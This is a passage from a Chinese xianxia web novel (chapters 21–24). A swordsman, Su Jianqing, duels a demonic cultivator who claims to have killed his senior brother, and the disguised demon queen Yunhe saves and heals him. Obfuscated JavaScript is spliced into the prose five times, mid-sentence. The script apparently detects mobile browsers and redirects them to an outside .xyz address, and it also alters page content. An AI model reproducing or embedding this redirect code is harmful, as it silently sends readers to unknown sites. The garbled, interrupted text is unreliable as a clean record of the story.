蕴禾跳下窗,顾不上召唤青羽,直接飞身离开碎金楼,循着苏见清残留的气息追去。 加春追了几步,“仙子,仙子!” 却只能眼睁睁看着蕴禾的身影消失在眼前。 …… 两刻钟前。 在蕴禾雅间前静立片晌,苏见清目光一侧,迈上通往三楼的楼梯。 三楼上的脂粉气极重,脚步越往上,耳畔姑娘们的交谈声越发清晰。 苏见清给自己施了隐身诀,仔细从三楼走过,不放过任何一个角落。 “姐姐这口脂颜色真好看,从哪儿买的?” “自己摘了几朵灵花做的,我那儿还剩了一些,你要是喜欢,我匀你一些。” “谢谢姐姐!” 路过某处,苏见清蓦地驻足,神色微凝。 阶上铺着厚毯,上方并无亮色,仿佛凶兽悄无声息张开巨口,只等猎物自投罗网。 这上边竟还有一层楼。 苏见清毫不犹豫迈步而上。 脚步落下,不听一声响动,宛如灵动机警的猫。 上了楼,眼前霍然一亮,“回”形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782447|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走廊处处华贵,琉璃宫灯流光溢彩,美人、山水图挂满墙壁,厚毯从足下蔓延至转角。 苏见清闭眼,神识从整层楼扫过。 大部分房间都用结界隔绝了外人窥探,唯有两间房存在微弱气息。 苏见清睁眼,快速朝其中一间走去。 他本想悄悄查探,可谁知从窗内一瞄,目光径直落在屋内一人手上。 那人手中握着一把剑,剑光如雪,锐气尽出,剑柄处雕刻山峰,黄色剑穗垂落,与苍白手背形成鲜明对比。 苏见清并未见过俞舟,也认不得他的剑,但他认识那条剑穗。 伏渊弟子筑基之后,会由师长赠剑,剑上通常会佩戴一条由山下定安城百姓亲手做的剑穗,虽随着修为精进,有的弟子会换上更好的,但那条普普通通的穗子,却是伏渊弟子修行路上最初的“见证者”,也是他们最纯粹、最真挚的初心。 苏见清的芥子囊内也有这样一条穗子,被他保存至今。 如今伏渊弟子不假手于人的剑穗落于他人之手,这背后的含义令苏见清沉了眼。 他推门而入,直截了当质问:“你是何人,为何拿着我师兄的剑?” 屋内之人抬头。 他生得还算俊美,但面如金纸,脸色苍白得仿佛病入膏肓,侧脸绘着繁复纹路,一眼看去时只觉目眩。 苏见清眸光凝住,“魔修?” 此话一出,那魔修立即提剑跳窗而逃。 苏见清紧随其后,与他一前一后离开碎金楼。 魔修目标明确往城外逃窜,苏见清虽知他是故意将他引出城,但为了知道俞舟师兄的行踪,却也不得不随他而去。 二人一前一后跃过城门,进了林间,苏见清一手施诀,握着长虹朝魔修斩出一剑。 剑气斩断去路,无数株树木轰然倒塌,魔修只得驻足,“哟,看这架势,是个狠人物。” 他转身笑眯眯道:“我叫瞿云,你叫什么?” 苏见清冷斥,“我师兄在何处?” “你师兄?” 瞿云无奈耸肩,“我与你是第一次见,如何知道你师兄又是什么人物?” “你手上的剑。”苏见清冷漠,“是我师兄的。” “哦,你说他啊。” 瞿云握着剑柄挽了个剑花,笑容俊美邪肆,“我杀了啊。” 21. 第 21 章 瞿云口气随意轻蔑,仿佛只是杀死一只蚂蚁那么简单。 苏见清握紧长虹,闭了闭眼,“我要你给我师兄偿命。” 狂风呼啸,剑修气息凛冽如刀,充斥着寒冷杀意。 “哎呀,居然是个元婴。” 剑柄抵着下巴,瞿云皱着脸,侧脸魔纹随之皱起,令俊美的五官显得狰狞。 “不过嘛……”瞿云蓦地笑开,“问题不大。” 下一瞬,他身上魔气攀升,威压竟与苏见清不相上下。 也是一个元婴。 苏见清眸光微敛,运起灵气,毫不犹豫持剑攻上。 瞿云拿着俞舟的剑,像模像样地使出几式剑招。 那是伏渊剑法,穿云十二式的第一式。 幼年时,苏见清在沉霄峰的练武场上曾无数次练过这套剑法,这招式对他来说熟悉到了骨子里。 穿云十二式向来只传伏渊弟子,绝不会外传,如今竟被一魔修使了出来。 苏见清气息微沉,周身杀意暴涨,一剑斩下。 那剑中藏着剑意,一瞬间,瞿云仿佛置身于冰天雪地之中。广袤无垠的苍穹中挂着一轮红日,身旁冰雪却并无消融的迹象,寒气从四面八方攀上小腿,企图钻入四肢百骸,冻结他的五脏六腑。 瞿云跺了跺脚,搓着手心骂道:“什么鬼东西?” 他仰头去看天边红日。 红日在他眼底越来越大,温度却丝毫未曾攀升,瞿云两指在眉心一点,顷刻间,红日在他眼前化为万千道裹挟着冰雪的剑光,以雷霆万钧之势朝他天灵盖射来。 清冷嗓音同时落下,“击云,破。” 浑身魔气在瞬间被调起挡于身前,瞿云咬牙,持剑迎上苏见清这一剑。 剑气不断侵蚀着结界,瞿云魔气大涨,身前剑气却越发猛烈,“咔嚓”一声,结界破碎,数道剑光一瞬间落在瞿云身上,他被剑气重重砸落在地,捂着胸口呕出一口鲜血,手掌无力地松开俞舟的剑。 那柄剑抵抗不住苏见清的剑气,断成几截分散在地,方圆十里内,草木被剑气齐根斩断。 草屑翻飞,剑修冷漠的嗓音随之而落,“这才是伏渊穿云剑法。” 瞿云不懂什么穿云剑法,纯粹是为了激怒羞辱苏见清才使出那几招,没想到却是偷鸡不成蚀把米。 他咳了几声,染着血的唇角玩味一勾,“喂,好歹也是你师兄的遗物,就这么弄碎了不太好吧?” 苏见清一步步朝他走来,眉眼在月色映照下冷冽如冰,周身蕴着寒气,好似一尊由冰雪雕刻而成的精致人偶。 “说出我师兄遗体所在,我留你一个全尸。” 瞿云哈哈大笑,“你这剑修口气也忒大了,想杀我为你师兄报仇?” 他食指竖起左右摆动,神色睥睨狂妄,“恕我直言,你还不够格。” 下一刻,魔修的身影遽然原地消失。 须臾之间,瞿云的气息在这片天地间消失得干干净净。 苏见清眉心堆蹙,阖起双眸,长虹竖于身前,他两指并拢,嘴唇张阖无声念诀。 一点、两点、三点……雪花在他周身凝实,衣袍无风而动,墨发飞舞,鬓角凝起霜雪,这一瞬间,苏见清仿佛也与漫天雪花融为一体。 黑色.魔气从撕裂的空中钻出,悄然无声落在苏见清身后。 魔气内探出一只黑色利爪,爪尖锋利无比,企图刺穿他的心脏。 一粒雪花飘在爪上,下一瞬凝起寒冰,霎时将黑色利爪冻结。与此同时,苏见清霍地睁眼,黑眸中闪过雪色,毫不犹豫握着长虹反身刺出一剑。 魔气中响起一声闷哼,寒冰“咔嚓”碎裂,与黑色利爪一道湮灭成齑粉。 “咳。” 魔气散去,瞿云捂着胸口咳血,手中握着一条黑色锁链,锁链的尽头赫然便是那碎去的黑色利爪。 瞿云脸色越发惨白,拇指抹去唇上血渍,锁链哗哗作响,在夜色中仿佛毒蛇游窜,悚然到后背发凉。 他阴恻恻望着苏见清,语气始终含笑,“姓甚名谁,报上名来,我大发慈悲给你一个全尸。” 竟是将苏见清方才的话还了回来。 苏见清并不应声,手腕一转,无数道剑气凝于身后。 瞿云冷冷一笑,“找死!” 他祭出一面镜子,镜面光滑,清晰映照出苏见清的模样。 镜子上有魔蛇缠绕,竖瞳冷煞,两颗毒牙露在外头,蛇身之下隐藏着繁复诡异的纹路。 瞿云吐出一口舌尖血,血珠落于魔镜上,魔蛇双瞳霎时大亮。 他单膝跪地,恭声大喊:“恭请主上神威, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788294|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诛杀此獠!” 话音甫落,魔镜射出诡异红光,从头到脚笼住苏见清。 苏见清正要反击,却是一惊。 他竟动弹不得。 红光渐盛,颜色越发诡谲鲜亮,苏见清身后剑气一一消融。 一缕红光钻入胸口,苏见清蓦地呕出鲜血,脸色瞬间煞白。 额角冷汗滴落,他运起灵气抵挡,又是一道红光射入肩膀,“噗嗤”一声,苏见清肩上血肉爆开,霎时间鲜血淋漓,染红了白衫。 体内仿佛有魔虫在啃食血肉,苏见清一时泄力,以长虹拄地才支撑着没倒下。 瞿云见状心情大好,哈哈长笑,“没用的,主上神威一旦降世,你断不可挡。” 苏见清颈侧青筋暴动,他抬起猩红的眼,一字一字道:“你们来枫泠城,究竟要做什么?” 瞿云朝苏见清走近,欣赏着他此刻的狼狈,勾唇一笑,脸上魔纹仿佛活了过来,“将死之人,就算知道了又有什么用?你是能救他们?还是准备和他们一起去死?” “噗嗤,噗嗤。” 数道红光同时袭向苏见清,血雾弥漫,他身上多处血肉爆开,白衫被鲜血染成红衣。 腿上支撑不住,苏见清险些双膝跪地,失血过多导致眼前开始晕眩,他右手死死握紧长虹,血顺着剑柄往下,将毛绒食铁兽半边脑袋晕染成红色。 另外一只手不断运起灵力,寻找机会反击。 “别再挣扎了。” 瞿云在嘴角抹了一把,轻轻捻着指腹上的黏腻血液,松开手指,两指间拉出一条血丝,他笑容灿烂,温声提醒,“你今日必死无疑。” “他的生死,什么时候由你说了算?” 冷漠狂悖的清泠女音响彻林间,瞿云笑容一僵,猛地回头,“谁?!” 月亮不知何时藏入翻滚黑云中,皎洁清辉被遮挡得严严实实,眼前一切景象仿佛被泼了浓墨。风过林梢,枝叶婆娑起舞,沙沙作响。 树梢立了一道人影。 姿势随意放松,黑发狂舞,几乎与浓重夜色融为一体。 若非她主动出声,瞿云竟无法察觉她的存在。 “你是何人?” 那人轻飘飘看了眼半跪在血泊中的苏见清,声音骤然变冷,“狗东西,敢伤他,你是想死吗?” 22. 第 22 章 狂暴妖气自蕴禾身上攀升,她以妖气化棍,一棒捶打在飘浮半空的魔镜上。魔镜从中裂开一条缝隙,上头缠绕的魔蛇瞳孔一缩,气息委顿。 红光散去,苏见清重重一跪,偏头呕出一口血。他抬头,瞳孔中映出一道黑影,与随风而散的发丝。 “咳,咳。” 瞿云遭遇反噬,猛地吐血,脸色白了一个度。 蕴禾身形一动,踏空而来。 “居然是你。” 看清她的模样,瞿云意外。 蕴禾进碎金楼时他也在,自然知道眼前这名身份不详,修为高深的女子,只不过没想到,“你们居然是一伙的。” 瞿云哈哈大笑,讽刺不已,“堂堂伏渊仙君,居然与一介妖女厮混。” 此人妖力深厚,定是妖域某位妖王级别的人物。 他偏头看向苏见清,嘴角笑容不怀好意,“听说伏渊的玄陵仙尊最是刚正不阿,以铲除天下妖邪魔修为己任,这位仙君,倘若被玄陵知晓你与一妖修关系匪浅,不知他会作何反应?” “玄陵算什么东西?” 蕴禾冷着脸,“你这杂碎,狗嘴里吐不出一句好话。当着本姑娘的面还敢编排我,看来是活得太久,着急去送死。” 瞿云猛地飞身去抓空中魔镜。 蕴禾眸色一冷,手掌一握,那枚镜子径直朝她飞来。 瞿云见取神器不成,当机立断化为魔气逃窜。 “滚回来!” 蕴禾抬手,铺天盖地的妖气阻拦了瞿云的去路,她手往回一拉,魔气散去,瞿云现身。 似有一双无形的手掐住他的脖颈,瞿云惨白的脸因窒息涨红,眼里渗出血丝,眼眶猩红瞪着蕴禾。 “……你……究竟是什、什么人……?” 蕴禾:“想知道我的名讳,你还不够格。” 掌中用力,“咔嚓”一声,瞿云脖子不正常垂落,气息骤然消散。 蕴禾嫌弃松手,瞿云的尸体轰然倒地,震起一片草屑。 她转身去看苏见清,“你……” 话音甫落,身侧魔镜趁她不注意,陡然化为流光飞窜。 蕴禾皱眉,“什么玩意?” 她徒手一捞,将魔镜捞回,看着上头的魔蛇直泛恶心。 指尖弹出一缕金色妖火,直冲魔镜而去。 这种恶心的东西,还是烧了吧。 “噼里啪啦”的火灼之声在寂静夜中响起,魔镜中仿佛有无数道声音在哀嚎。 蕴禾懒得再看,抬步来到苏见清面前。 “你怎么样?” 苏见清缓慢抬头。 乌云散去,夜风轻轻吹拂姑娘裙摆,她身后是一轮圆月,皎洁月光如银如水,轻纱一般披在姑娘身上。 一绺白发轻轻飘动,安静垂落姑娘肩头。 苏见清:“多、多谢姑……” 尾音未散,眼前猝然一黑,长虹脱手而出。 蕴禾惊住,“喂,喂!你怎么了?别晕啊。” 姑娘柔软的手搭在手腕,苏见清艰难偏头。 意识消散前闯入眸底的,是一双明亮清澈的圆润双瞳。 …… “噗!” 碎金楼内,两人同时吐血。 “大、大哥……”有人颤颤巍巍道:“老三、老三死了?” “那伏渊弟子竟有如此能耐,能斩手持神器的老三于剑下?” 瞿诏闭眼沉吟,片刻后陡然睁眼,当机立断道:“碎金楼不能留了。走,立马去寻主上。” 二人身影消散成烟,须臾后在某处凝实。 “主上,属下求见。” 黑暗中亮起诡异红光,开了道仅容一人通过的门。 瞿诏带着老二瞿彦进去,双膝跪地,诚惶诚恐道:“属下办事不力,求主上责罚。” 两人的身前是只一人高,闪烁着暗红色光芒的茧。略显虚弱的男声自茧内传出,“浪费本座的宝贝,害本座受伤,你的确该罚。” 瞿诏惊愕,“主上受伤了?神器也没了?!” “蠢货,你此时才意识到?” 瞿诏惶然垂首,“是属下愚笨。” “罢了,一片碎片而已,若两日后事成,本座便能一举突破,这点小伤不足挂齿。看在你一片忠心的份上便饶你一次。但若是吉日之前再生事端,本座定不轻饶。” 瞿诏欣喜若狂,叩拜谢恩,“多谢主上。属下恭候主上神威降临枫泠。” 身旁的瞿彦仿佛此时才回过神来,连磕三个响头,“多谢主上宽容,恭候主上神威降临。” 男声平淡的语气中夹杂着不可一世的狂傲,“出去吧。” 犹豫一二,瞿诏踯躅,“主上,那名伏渊剑修……” “他虽毁了神器碎片,但被那东西侵入肺腑,必死无疑。” 瞿诏心口大石落下,含笑奉承,“主上神威盖世,大业必成。” …… 明月悬于树梢,月光倾洒如水,将血泊照得格外清亮。 “苏见清,苏见清?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792793|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕴禾喊了两声,半躺在她怀中的剑修昏迷不醒,眉头都没动一下。 她有些头疼地啧一声。 将苏见清放下,蕴禾掀开他破破烂烂的衣衫,仔细查看他的伤势。 剑修肌理分明的白皙胸膛上血肉模糊,到处都是被炸开的血坑,鲜血和肉沫混合在一起,看得蕴禾一张小脸紧紧皱着。 手链上玉石一亮,一朵纯白无垢的莲花出现在掌心。 蕴禾肉疼地掰下一片花瓣喂到苏见清嘴边,见他吃下,忧伤地用手指拨弄着散发灵韵的水莲。 “一、二、三……十。” 只剩下十片花瓣了。 蕴禾得到这花多年,初初到她手中时足有二十片花瓣,如今却是越来越少。 照苏见清这受伤的程度和次数,要想保住他的命,看来必须得多准备些灵丹妙药才行。 得传信回妖域,让清淼给她送来。 收回白玉水莲,蕴禾拧眉望着苏见清胸膛上的伤。 在储物手链里翻翻找找,又拿出一瓶治外伤的药,拔掉盖子,蕴禾将药粉撒在苏见清伤口。 “嘶……” 大概是疼的,苏见清闷哼一声,幽幽转醒。 一睁眼,姑娘蓬松黝黑的发顶映入眼帘。视线往下,他衣衫大敞,上半身赤裸裸地暴露在姑娘眼前。 苏见清大惊,一时间脖子双颊连带着耳后根红了一片,颤抖着伸出一双血手去拉衣裳以蔽身,“姑、姑娘,你、你,我、我……” “结结巴巴说什么呢?” 蕴禾摁住苏见清肩膀将他压回去,另一手动作不停,没好气道:“别动,没看见我在给你上药?” 柔软掌心贴着苏见清,肌肤相贴的温热触感令他浑身一抖,全身肌肉绷紧,脸上红意愈盛,不复刚才的孱弱颓败之势。 他缓慢地再度伸手,艰难道:“多、多谢姑娘救我,还、还是我自己来、来吧……” 蕴禾一眼瞪过去,“你再多嘴一句试试?” 她手移位,一把捂住苏见清的唇,懒得再听他废话。 苏见清凤眼微睁,清澈眸底蕴满震惊茫然。 姑娘的手心与他嘴唇相触,他只要轻轻一碰就能、就能…… 这个认知让苏见清越发赧然,整个过程宛如在上酷刑,拼尽全力不敢动弹,却抵挡不住身体的本能和伤口的疼痛,身子不时颤抖,只能祈祷她快些。 好不容易等到上完药,苏见清松了口气,正要道谢,抬头却见蕴禾好以整暇地凝着他,“你抖什么?” 23. 第 23 章 “我、我……” 苏见清磕巴道:“我只是、只是……” 蕴禾懒得再听他只是,收回手,顺便扯落苏见清身上仅剩的衣物,在他面色大变之前道:“自己把衣裳换了。” 说完避到一旁。 苏见清面红耳赤地从芥子囊内取出一套衣物,施诀给自己换上。 他双臂撑着地半坐起身,尽量让自己看起来体面些,苍白的唇动了动,“在下苏见清,多谢姑娘救命之恩,可否知道姑娘芳名?” 蕴禾靠在一旁的树干上,手里无聊地撕着叶子玩,随口道:“我叫蕴……” 禾字将要出口,蕴禾突然意识到一件事。 眼前这呆子剑修知不知道妖域妖皇的大名?身为玄陵的首席大弟子,他应该也许是知道的吧? 那要是说了,岂不是暴露了身份? 没等她想通,苏见清已感激出声,“阿蕴姑娘,多谢你救我一命。” 蕴禾朝他翻了个白眼,将手中叶子撕成碎片,随手一洒,碎叶化为莹莹绿光,簇拥着姑娘明丽脸庞。 苏见清礼貌移开视线,低声道:“今夜在碎金楼时冒犯了姑娘,还请姑娘见谅。” 蕴禾眉尾一挑,瞬移蹲到苏见清面前,捧着双脸满眼好奇,“你认出我了?” “姑、姑娘……” 苏见清被突然放大的明媚容颜吓了一跳,头往后仰,眼里带了几丝慌乱,白皙修长的脖颈攀上红晕。 他努力保持镇定,“姑、姑娘的声音,我还记得。” “我的声音啊。” 蕴禾拉长尾音,“遇见的每一个姑娘的声音,你都记得一清二楚吗?还是……” 她骤然靠近,唇瓣险些挨蹭到苏见清耳廓,温热气息扑在他脸上,引起一阵战栗,“只记得住我的?” 苏见清艰难出声,“阿、阿蕴姑娘……” 蕴禾弯唇,眸似云霞,声如晚风,“为何不回答?” 有碎发飘到苏见清脸上,泛起轻微痒意,他紧张得喉结轻滚,“不是,我……” 身侧人影骤然远离,将喜怒无常演绎得淋漓尽致,“行了,我又不想知道了,你闭嘴吧。” 苏见清呆住,“姑娘?” 瞧着他那副呆样,蕴禾在心中狂笑。 哈哈哈哈哈,用人形和苏见清接触才发现,这呆子也太有意思了,轻轻一逗就能将他逗得满脸通红,总算是让她报了随随便便被人摸摸捏捏的仇。 她不是个能掩饰心思的性子,心里大笑着,脸上也带出笑意,双眼弯弯,眉心含笑,驱散了些许眸中外露的狂傲之意。 从这笑里,苏见清明白蕴禾方才是在逗他,抿了抿唇,而后热度不散。 笑完了,蕴禾单手托腮,目光轻扫苏见清,“你一口一个姑娘的,难道没听到方才那恶心的东西说我是出身妖族,是个妖修?” 苏见清不明白,犹疑道:“妖修出身,便不能唤姑娘?” 蕴禾又白他一眼,“顾左右而言他。” 苏见清赧然抿唇,“姑娘并未作恶,又在魔修手中救下我,并非妖邪。” “救你一命就不是恶人?” 蕴禾“啧”一声,嘲笑他的天真,“你该不会是在伏渊待太久,把脑子给待傻了吧?” 苏见清惊讶,“姑娘知我出身伏渊?” 哎呀,这破嘴,说漏了。 蕴禾眉心懊恼一蹙,很快松开,理直气壮道:“刚才那恶心的魔修不是说过?我又不聋,听得清清楚楚。” 说起魔修,蕴禾偏头。 瞿云的尸体不知何时消散得一干二净,她拧了下眉,起身去看那面魔镜烧得如何。 魔蛇已被妖火焚烧殆尽,魔镜被烧去一半。 蕴禾惊讶,“咦?” 她这金乌火取自妖域万焱之地,乃是一头大乘期金乌临死前的心火所化,专克世间妖邪魔物,被她炼化之后更是因血脉神通的缘故多了伤人元神的能力。 这镜子明显是个邪物,可烧了这么久却只烧了它一半,看来的确不凡。 苏见清问:“那是什么?” 蕴禾顺着他手指的方向低头。 地上不知何时落了一堆黑色粉末,她蹲下身,指尖勾起一点,送到鼻尖嗅了嗅。 “呕……” 蕴禾突然脸色大变,干呕一声,猛地将指尖残留的粉末甩出去,从储物手链中引出清泉,恶狠狠地用力搓洗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802229|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她力道极大,面色很是难看,恨不得将手上的皮换一层。 身后倏地传来一身闷响,蕴禾拧着眉回头望,下一瞬嗓音惊得险些变了调,“苏见清!” 只见苏见清嘴角染着触目惊心的血色,将将才换好的衣裳短短一息之内再度渗出鲜血,他脸色惨白,身子似被水浸湿的纸张般脆弱地往后倒去。 蕴禾顾不得再净手,瞬移过去,一手在苏见清倒地之前揽住他的后脖颈,另一手搭在他腕上,妖力钻入他体内细细查看。 无数片红光在苏见清身体中乱窜,激得他灵脉震动,元婴不稳,浑身灵气震荡。 蕴禾忍着恶心,驱使妖力挨近红光。这一细看,她险些没吐出来。 那是什么红光,分明是一片片密密麻麻的红色虫子! 它们此刻正在苏见清体内啃食着他的血肉! 若是再晚些发现,这人说不定就没了,她又得不明不白死去。 蕴禾大怒,猛地偏头怒喝:“给本皇烧干净!” 妖火倏地高高窜起,火焰越烧越旺,刹那间将魔镜烧得干干净净。 蕴禾沉着脸望向苏见清苍白的脸。 她有些犹豫。 金乌火能克制这些恶心丑陋的虫子,可那些东西毕竟在苏见清体内,她一时半会的不太敢给他用。 且这火霸道,若是一个不慎将苏见清给烧了,抑或是伤了他的灵台,把他变成傻子怎么办? 眼看苏见清脸色越发苍白,蕴禾咬牙,控制金乌火进入苏见清体内。 她动作小心一些,应该没什么大问题。 要是苏见清傻了,大不了把他带回妖域,免得他一天天的总是受伤,她还得担心他一着不慎就死了,连累她丢了小命。 蕴禾闭眼,引着金乌火烧毁正在啃食苏见清血肉的恶心虫子。 “呲呲”的声音从他体内传来,蕴禾强行忍住呕吐的欲.望,凝起心神,专心致志替苏见清疗伤。 最后一只虫子被烧去,蕴禾松了口气,收回妖火。 妖力探入体内,细细检查过后,蕴禾这才彻底松了口气。 放下苏见清,她靠坐在一旁,不仅感慨,今日这火还是挺温驯的嘛。 24. 第 24 章 苏见清这一晕久久不醒。 蕴禾起初还担心他身体又出了什么毛病,但后来见他只是昏睡便不管了,唤出青羽,在脸上盖了张叶子,双臂枕在脑后迎着太阳呼呼大睡。 尚存的树木枝叶轻晃,在蕴禾脸上投下道道斑驳光影。 游动光斑爬上骨节分明的修长手掌,顺着身躯往上,在两片薄唇上停驻,仿佛一只发着光的灵蝶在亲吻双唇。 眼皮下眼珠动几下,纤长睫毛抖动,苏见清缓缓睁眼。 刺目阳光照射而下,他闭了下眼,侧头躲避,目光蓦地一定。 不远处飘着一片青色翎羽,于阳光下闪烁着光彩夺目、七彩斑斓的辉光。翎羽上卧着一人,青色裙摆如光滑绸缎,顺着青羽散落空中,似水流涌动。 姑娘一腿曲着,两臂枕于脑后,袖子滑落,露出两截白得发光的小臂。 脸上青叶随着呼吸起伏,缓缓往下滑落,半张精致明丽的面容得以暴露在空气中,阳光为姑娘的脸镀了一层金光,明媚灿烂,耀眼至极。 苏见清垂首,瞧着一身斑驳血迹,默默施了个结界,又从芥子囊内取出一套衣物换上。 他没发现,青羽上的姑娘睁了眼。 蕴禾侧过身,一手拄着脑袋,饶有兴致地盯着苏见清的动作。 那道结界对她来说形同虚设,苏见清此刻的模样完完全全映在蕴禾眼中。 年轻剑修解了衣衫,他身上残留着昨夜留下的血渍,狼狈又惨烈。一个清洁术下去,浑身上下焕然一新,肤色白似霜雪,嫩如葱白。 锁骨精致,肩宽腰窄,他身体纤长却并不瘦弱,肌肉线条流畅优美,随着动作舒展。两条人鱼线顺着腰腹往下…… 眼前一晃,苏见清已将衣衫穿好,蕴禾不太高兴地鼓了下腮帮子。 “阿、阿蕴姑娘……” 方解除结界,苏见清便对上蕴禾的视线。想起方才在做什么,耳后根忍不住发烫,又念及她看不见,勉强保持镇定,“阿蕴姑娘什么时候醒的?” 蕴禾:“你管我。” 苏见清一噎,嘴角微抿,“阿蕴姑娘又救了我一次。” 蕴禾摘下滑至胸前的叶子,坐起身,两手撑着青羽,“所以,你要如何报答我?” 掌心虚虚握了握,苏见清眉间挟几分赧意,“姑娘见谅,在下身无长物……” 蕴禾不过随口一说,也没指望着他报答,直接将人打断,“能走吗?” 手放在腹上摸了下,她道:“我饿了。” 苏见清一怔,往前迈了一步,眉头一拧。 他昨日伤重,此时体内虽有痛感,却并无想象中严重,也不知阿蕴姑娘给他吃过什么。 “能。” 蕴禾瞥他一眼,“那就走吧。” 话落,驱使青羽飞往枫泠城的方向。 苏见清唤出长虹,飞身跃上剑身。使出御剑诀的刹那,他体内灵脉隐隐作痛。 身形微顿,苏见清面不改色追上蕴禾。 …… 枫泠城内一切如常,除了蕴禾二人,似乎无人发觉魔修的存在。 客栈里的吃食蕴禾吃腻了,随意在街上找了家看起来还不错的馄饨铺子。 这家铺子规模虽然不大,但桌椅很是干净,离得老远便有香味飘来。 蕴禾和苏见清入座后,立即有店家笑呵呵地问:“两位客官想吃什么馅的馄饨?” 蕴禾托着脸,“都有什么馅的?” “现在只剩鸡蛋蘼芜馅、蓝龙虾馅、赢鱼馅。” “每样都来两份吧。” 苏见清:“劳烦来份蓝龙虾馅和赢鱼馅。” “好嘞。” 店家眯着眼笑,“二位客官请稍等,马上就来。” 灶台就在铺子里边,蕴禾撑着脸,看着那店家挥挥手,将不同馅料的馄饨依次下入滚烫汤水中,不消片刻就出了锅,洒上一把葱花,轻轻一嗅,只觉满鼻鲜香。 “二位请慢用。” 蕴禾面前放着整整六碗馄饨,她随便选了一碗,舀起一颗送入口中。牙齿一咬,馄饨皮立即破开,虾肉紧致弹牙,鲜美不已。 蕴禾眼睛一亮。 没想到这馄饨还不错。 她一口一个,没多久连馄饨带汤吃了整整四大碗。 苏见清吃完馄饨坐在对面看她,见蕴禾舔了下嘴角,默默道:“我厨艺尚可,阿蕴姑娘若是喜欢,未来一段时日我都可为姑娘下厨。” 蕴禾放下最后一个碗。 多日不曾尝过苏见清的手艺,她的确有些想了,毫不犹豫道:“好啊,就当是你报答我的救命之恩了。” 苏见清张唇,“阿蕴姑娘,这……” 蕴禾悠悠起身,拍着肚子道:“吃饱了,走啦。” 苏见清只好咽回剩下的话,付了灵石与蕴禾一道走出馄饨店。 走出几步,他驻足,“不知阿蕴姑娘在何处落脚?我有事需暂离片刻,待明日再做好吃食给阿蕴姑娘送去。” 蕴禾拧着眉回头,纳闷道:“你要去做什么?” 苏见清:“瞿云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803757|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无故消失,我担心碎金楼内还有魔修,想去确认一眼。” 目光将他从头到脚巡睃一遍,蕴禾环起双臂,“你重伤未愈,不回去好生调息养伤,还想着杀魔修呢?” 苏见清眸光清亮,“魔修来因不明,行踪成谜,枫泠城内恐生变故。我自幼受师尊教诲,以除魔卫道,护卫玄清域为己任,自是责无旁贷。” 他垂下头,有些失落,“何况,我也想去看看碎金楼内可有我三位师兄的踪迹。” 他们有很大可能是遭遇了不测,无论遗体还是遗物,苏见清都想带回伏渊好生安葬。 蕴禾发出一声沉闷又短促的鼻息,转身时那绺白发隐在黑发中,在半空轻轻一荡。 苏见清追了一步,急声道:“阿蕴姑娘,你还没告诉我你的住处。” 蕴禾不耐烦道:“少废话,赶紧走。” 苏见清愣神,“去何处?” “碎金楼!” 蕴禾重重往外迈步,音量加大,似带着脾气。 苏见清停顿须臾,连忙追上。 尚是白日,碎金楼未开,苏见清追上蕴禾时,只见她环着双手,仰头望着匾额上的“无忧阁”三个字。 随着苏见清走近,蕴禾斜斜睨他一眼,轻抬下巴示意他跟上,大摇大摆进了无忧阁。 阁内男女追逐成趣,遍布女子的欢笑声,脂粉香浓郁厚重,引得蕴禾鼻端发痒,掩鼻打了个喷嚏。 